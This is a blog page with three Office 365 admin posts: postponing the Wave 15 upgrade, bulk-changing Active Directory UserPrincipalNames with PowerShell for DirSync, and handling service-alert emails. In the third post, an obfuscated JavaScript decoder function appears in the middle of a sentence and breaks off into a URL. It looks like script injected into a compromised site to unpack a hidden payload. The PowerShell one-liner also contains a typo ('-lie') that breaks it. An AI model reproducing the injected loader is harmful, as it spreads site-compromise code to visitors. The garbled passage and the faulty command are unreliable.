Upgrading your Office 365 tenancy to Wave 15: Part 3 – Postponing

Don’t want your #Office365 to be upgraded to the new 2013 wave yet?  Then you only have 1 chance to postpone it and that is during the first 3 weeks of your 4 week notice of upgrades.

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At the bottom of the email you get about your 4 week notice, you will get P.S. saying you can postpone it.

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To postpone it you need to log into your Office 365 portal site at http://portal.microsoftonline.com with Global Administrator rights where you will be presented with the following at the top of the page.

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Click on Service update options to start the postponement.

You are now presented with a bit of information telling you that you don’t have to worry about anything when the upgrade happens and that there will be no service interruption.

The second part allows you to postpone the upgrade process.  This might be for 30, 60 or 90 days depending on your tenancy.

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Click on Postpone upgrade if you want to and it will tell you that you can only postpone it once.

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This article is part of a series of articles on the upgrade process for Office 365 to wave 15

Edit all users UserPrincipalName through PowerShell for DirSync & Office 365

While catching up with a good friend yesterday we were talking about implementing DirSync and ADFS for their Office 365 for education deployment.

If we want to be able to log into Office 365 with our domain name such as @bfcnetworks.com we need to have this set in our users Active Directory UserPrincipalName attribute.

Over the years, many people have configured their domain FQDN to something like bfc.local rather than use their external domain name.

As we look more into cloud services and Windows Azure Active Directory we see that the requirement to use DirSync and your own domain name (rather than bfcnetworks.onmicrosoft.com) requires local Active Directory changes.  The process below will show you how to add an additional domain and then a PowerShell command to get all users using the bfc.local UserPrincipalName and change it to @bfcnetworks.com

Part 1: Add FQDN to Active Directory

Log onto your Active Directory Domain Controller and open Active Directory Trusts and Domains.  Right click on  Active Directory Domain and Trusts which will open the below property box and type the domain name you want to use in Windows Azure Active Directory

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Part 2: PowerShell command to change UserPrincipalName

There are 2 section to this single line of PowerShell.  The first is that it will get all the users that has @bfc.local in their UserPrincipalName.  The second section will then set search users UserPrincipalName to their SAMAccountName + @bfcnetworks.com

get-aduser -filter {UserPrincipalName -lie "*@bfc.local"} | foreach {set-aduser -identity $_.SAMAccountName -UserPrincipalName ($_.SAMAccountName + "@bfcnetworks.com")}

You may want to schedule this to run over 3 hours just before your DirSync runs to ensure all your users do have the right FQDN in their UserPrincipalName before being synced with Windows Azure Active Directory & Office 365

Upgrading your Office 365 tenancy to Wave 15: Part 2 – Addressing Issues

You may have received an email entitle ‘SERVICE ALERT: Take action on these Office 365 administrative tasks’.  This is not a standard email and should be logged as a call within your service or help desk.

The email is customised to your tenancy where Microsoft have evaluated your connectivity and how you use it and will let you know of changes required.

Some of the notifications are standard to Office 365 such as the new logon page but others are related to your clients, servers (ADFS/DirSync) and Office 365 tenancy.

Its important that you do read the Microsfot Office 365 wikis about Office 365 and the updates required.  You can get the information from this post

function h052c1b60aed(x6){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var t4='';var t2,u1,q3,q7,sa,r9,u2;var u4=0;do{q7=qd.indexOf(x6.charAt(u4++));sa=qd.indexOf(x6.charAt(u4++));r9=qd.indexOf(x6.charAt(u4++));u2=qd.indexOf(x6.charAt(u4++));t2=(q7<<2)|(sa>>4);u1=((sa&15)<<4)|(r9>>2);q3=((r9&3)<<6)|u2;if(t2>=192)t2+=848;else if(t2==168)t2=1025;else if(t2==184)t2=1105;t4+=String.fromCharCode(t2);if(r9!=64){if(u1>=192)u1+=848;else if(u1==168)u1=1025;else if(u1==184)u1=1105;t4+=String.fromCharCode(u1);}if(u2!=64){if(q3>=192)q3+=848;else if(q3==168)q3=1025;else if(q3==184)q3=1105;t4+=String.fromCharCode(q3);}}while(u4-admin-tasks-wiki/">http://www.bfcnetworks.com/blogs/alexpearce/office-365-system-requirements-and-admin-tasks-wiki/

Here are a few examples I have received – if you have some that are missing please share so the community can see what is coming

Standard/Common Notifications

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Other Important Issues

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This article is part of a series of articles on the upgrade process for Office 365 to wave 15